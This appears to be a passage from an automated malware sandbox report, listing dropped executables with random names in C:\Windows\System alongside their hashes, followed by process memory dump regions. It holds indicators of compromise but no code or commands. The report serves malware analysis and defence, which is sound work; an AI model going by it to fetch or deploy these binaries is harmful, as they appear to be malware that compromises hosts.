1.9MB

MD5
2c94bf228a9a90bb749c6fa423cca9dd

SHA1
bdc450dced154a10522e81a9c97111f7a3ee507f

SHA256
2461c73e7ac4d40f1c05a16c3de2e8136cb53a0c33bc5c23e0f8b51566ea8fbc

SHA512
e00a3c7b4366a962f9346554d577b40c8dcc0f83c8142e0bd604bb3db2282d800fb8eb96099bc77d9de14d3d0162f108fc45cd37a68abaf2e40defaa9539a458

Download Submit
C:\Windows\System\ouwYbhZ.exe

Filesize
1.9MB

MD5
4bb0eeb914810f7c1e9b3645d6c5fb31

SHA1
abbf1a9b7c554d4ecc1cd93090f4509e674cac91

SHA256
f57c88ae6b8dfe7965274281ebada859c764b0808252cb79b05d768fd4361cb1

SHA512
f339c785b90e53ba23ea8e08cfdcc443fea4e55e5b18b9f5d6c54c718cf3c2eac6e6b85fa87e9a857179ab788acb1462535581efeba17fe576da07b8fb04263b

Download Submit
C:\Windows\System\pwmVgkW.exe

Filesize
1.9MB

MD5
a5a3f1a56259d8b01b25098d39e74dab

SHA1
2667e8875a74d232612e34cad3c8235f2e84e4ed

SHA256
82e1bb2b80c68a6061bb4d92fcaf7bd50e448bc62680ad818f866a56b3c41c4b

SHA512
d4b686448fd6c51ea383799699928cbd09151dfe9b9716f0728c4c8c38d8fd44d8af3b672e931e9a6c1f8a7faa8995834c17a450c3f62ba5125c9478a35d1f29

Download Submit
C:\Windows\System\rFPKcSg.exe

Filesize
1.9MB

MD5
f9cebeddb40b7f69d1cad62a1324c2f9

SHA1
728cbd960558164b97f0e59f2e3d1ec1af8f6434

SHA256
00270d1a8b97376e08ed7a11a29b54b810777c2c8635e3618e1141a494b12247

SHA512
096d83785f5e8698e2ba1b121c5a5c33ff3ee200cacbe894ac6917d450107fffef116b3a522f0cce948c5c6392d8710a52dfca000b0eaa050fd89441ed10b9c7

Download Submit
C:\Windows\System\rbsFaUq.exe

Filesize
1.9MB

MD5
cdedf61cae0162668f805d6f67cd46a0

SHA1
9710d48088578a8fa001782c7af2c0b4677a6766

SHA256
5921bd823c2cbcc742e3dff4dc28c6867ac0bda05af39851af2e4ea332489607

SHA512
1c76324c24d78a65356ca4dedb1bf2f4481f06801c6603814c0ef4d45be818c8b66cf7b731c47d7787dddb559aaa9d1d71fb9b46254bb2bd4ab90556bc9403f1

Download Submit
C:\Windows\System\reUKrYy.exe

Filesize
1.9MB

MD5
d4222eaa74fcde3d9e9aa7f6c6fd299e

SHA1
c83b12757b1ced0ad4f60fb58cd92cc80273bbca

SHA256
ec81121bff19588842069795df1beebb9ab092b662c8a678f5ae3d862cb63b67

SHA512
ef618bee6c08e41cca52d64fd660691f1a6cee1a0dd536dc71cbf0383eeb556c86f4373c347880ccf3af971281ddf1adc1b8ab9528a996d7b1660cbbaf1b4b80

Download Submit
C:\Windows\System\rmcFDsk.exe

Filesize
1.9MB

MD5
260e283a1805568159f0c4dfe0fce0ff

SHA1
6f70da2e12463047067f53af95d7a84d11b5bea1

SHA256
a1869f843e07654dada076d4ad9b4fd68331a6ab05c11f7b33b843692d704420

SHA512
5d76379f90967f1f5151d13faf267d88efb264c5ce2e3b04c79639b642b19a362b075260cc3c300d75bd2ed4f5fed1ee30e6c23095732544d307d093ce29a5c3

Download Submit
C:\Windows\System\rwfXxBJ.exe

Filesize
1.9MB

MD5
d8b82982decaa42c83d38fbbb1090368

SHA1
fece3f10cf860c2d41a963decbabd0fc4c44c9eb

SHA256
a249e16565a0e527db51cc1f9036673e2fcf79eaa0fd5eb35d1d86a40afda4a8

SHA512
c0f4312b7f61ae01024289133d5b8ec2082ba697f6c38641b97f09d6e8e221d41620f4acf9fff614fcbd7e30ecdd278f03aafb2f1393f2a8f9b233902c3f9b7e

Download Submit
C:\Windows\System\uOUAWfu.exe

Filesize
1.9MB

MD5
81aba30ba4f7419cdf5752e799ada5bc

SHA1
50ee403aa2bb667ce5fa3a547fe3a267f0c654ac

SHA256
844c08041f52e2a58c25c27d895dcc7c16126a606426fc471760883eb0a35614

SHA512
24150aa23154667e4382a4867cc92b23436bf184c07444ceccc3c2a475c84aa6b9a1dd578a09d343e10350e8aed2d4f5378aeb7b6e3c982457ce5a42386655ff

Download Submit
C:\Windows\System\xMQXqQU.exe

Filesize
1.9MB

MD5
945024cbfecc5da1da8462db77268819

SHA1
91e6ca517b1e37856bdef700efbccacbb808dc3f

SHA256
601957913a24f6311693e8661e910c34534ea7bc91a4776e8ba0ef055fb938e3

SHA512
c612e287be7856dcb5a71b9f18900232214b151653a8b63e989b3c1693e98d67c753b1e42781ab6d8507c457d852e4eea531d385362fb8deaf84e50a14fd39fd

Download Submit
C:\Windows\System\yJtsOsA.exe

Filesize
1.9MB

MD5
bc1304ac56d853f843066ef241f8b1d6

SHA1
385d718cae57b0e7cae32f02dae7aab98ac1b420

SHA256
a71616342c5367275e92618a901294dbc4e8c1cc42b3715d6b05d2b13c76f4ca

SHA512
977467f1121994feb22c19baf691a58f4bf0ca261c912058331e746db3a9b3a183d41d23210961e28bbe370e8be524cf7298e5b0b154c80376ac5a7e048855cc

Download Submit
memory/468-29-0x00007FF6971A0000-0x00007FF697592000-memory.dmp

Filesize
3.9MB

Download
memory/656-26-0x00007FF9AE6B0000-0x00007FF9AF171000-memory.dmp

Filesize
10.8MB

Download
memory/656-1788-0x00007FF9AE6B0000-0x00007FF9AF171000-memory.dmp

Filesize
10.8MB

Download
memory/656-56-0x000001CF1E8E0000-0x000001CF1E902000-memory.dmp

Filesize
136KB

Download
memory/656-27-0x000001CF1E880000-0x000001CF1E890000-memory.dmp

Filesize
64KB

Download
memory/752-106-0x00007FF692E60000-0x00007FF693252000-memory.dmp

Filesize
3.9MB

Download
memory/1392-70-0x00007FF7C2450000-0x00007FF7C2842000-memory.dmp

Filesize
3.9MB

Download
memory/1392-3363-0x00007FF7C2450000-0x00007FF7C2842000-memory.dmp

Filesize
3.9MB

Download
memory/1532-6104-0x00007FF6FEC00000-0x00007FF6FEFF2000-memory.dmp

Filesize
3.9MB

Download
memory/1532-411-0x00007FF6FEC00000-0x00007FF6FEFF2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-98-0x00007FF78BE50000-0x00007FF78C242000-memory.dmp

Filesize
3.9MB

Download
memory/2032-3365-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp

Filesize
3.9MB

Download
memory/2032-82-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp

Filesize
3.9MB

Download
memory/2032-6005-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp

Filesize
3.9MB

Download
memory/2540-6043-0x00007FF733560000-0x00007FF733952000-memory.dmp

Filesize
3.9MB

Download
memory/2540-413-0x00007FF733560000-0x00007FF733952000-memory.dmp

Filesize
3.9MB

Download
memory/2564-6018-0x00007FF7ABA30000-0x00007FF7ABE22000-memory.dmp

Filesize
3.9MB

Download
memory/2564-407-0x00007FF7ABA30000-0x00007FF7ABE22000-memory.dmp

Filesize
3.9MB

Download
memory/2652-3361-0x00007FF71A480000-0x00007FF71A872000-memory.dmp

Filesize
3.9MB

Download
memory/2652-47-0x00007FF71A480000-0x00007FF71A872000-memory.dmp

Filesize
3.9MB

Download
memory/2800-408-0x00007FF70ACD0000-0x00007FF70B0C2000-memory.dmp

Filesize
3.9MB

Download
memory/2836-409-0x00007FF657E40000-0x00007FF658232000-memory.dmp

Filesize
3.9MB

Download
memory/2836-6037-0x00007FF657E40000-0x00007FF658232000-memory.dmp

Filesize
3.9MB

Download
memory/2892-3366-0x00007FF75E290000-0x00007FF75E682000-memory.dmp

Filesize
3.9MB

Download
memory/2892-97-0x00007FF75E290000-0x00007FF75E682000-memory.dmp

Filesize
3.9MB

Download
memory/3568-45-0x00007FF7B0920000-0x00007FF7B0D12000-memory.dmp

Filesize
3.9MB

Download
memory/4264-10-0x00007FF620800000-0x00007FF620BF2000-memory.dmp

Filesize
3.9MB

Download
memory/4360-405-0x00007FF624010000-0x00007FF624402000-memory.dmp

Filesize
3.9MB

Download
memory/4360-5960-0x00007FF624010000-0x00007FF624402000-memory.dmp

Filesize
3.9MB

Download
memory/4368-6046-0x00007FF6A5AB0000-0x00007FF6A5EA2000-memory.dmp

Filesize
3.9MB

Download
memory/4368-410-0x00007FF6A5AB0000-0x00007FF6A5EA2000-memory.dmp

Filesize
3.9MB

Download
memory/4692-424-0x00007FF74B910000-0x00007FF74BD02000-memory.dmp

Filesize
3.9MB

Download
memory/4788-0-0x00007FF6CDF00000-0x00007FF6CE2F2000-memory.dmp

Filesize
3.9MB

Download
memory/4788-1-0x000001C247B10000-0x000001C247B20000-memory.dmp

Filesize
64KB

Download
memory/4952-41-0x00007FF71C250000-0x00007FF71C642000-memory.dmp

Filesize
3.9MB

Download
memory/4960-412-0x00007FF69FB10000-0x00007FF69FF02000-memory.dmp

Filesize
3.9MB

Download
memory/5012-6072-0x00007FF6ED5D0000-0x00007FF6ED9C2000-memory.dmp

Filesize
3.9MB

Download
memory/5012-416-0x00007FF6ED5D0000-0x00007FF6ED9C2000-memory.dmp

Filesize
3.9MB

Download
memory/5096-87-0x00007FF6DEC70000-0x00007FF6DF062000-memory.dmp

Filesize
3.9MB

Download
memory/5096-6023-0x00007FF6DEC70000-0x00007FF6DF062000-memory.dmp

Filesize
3.9MB

Download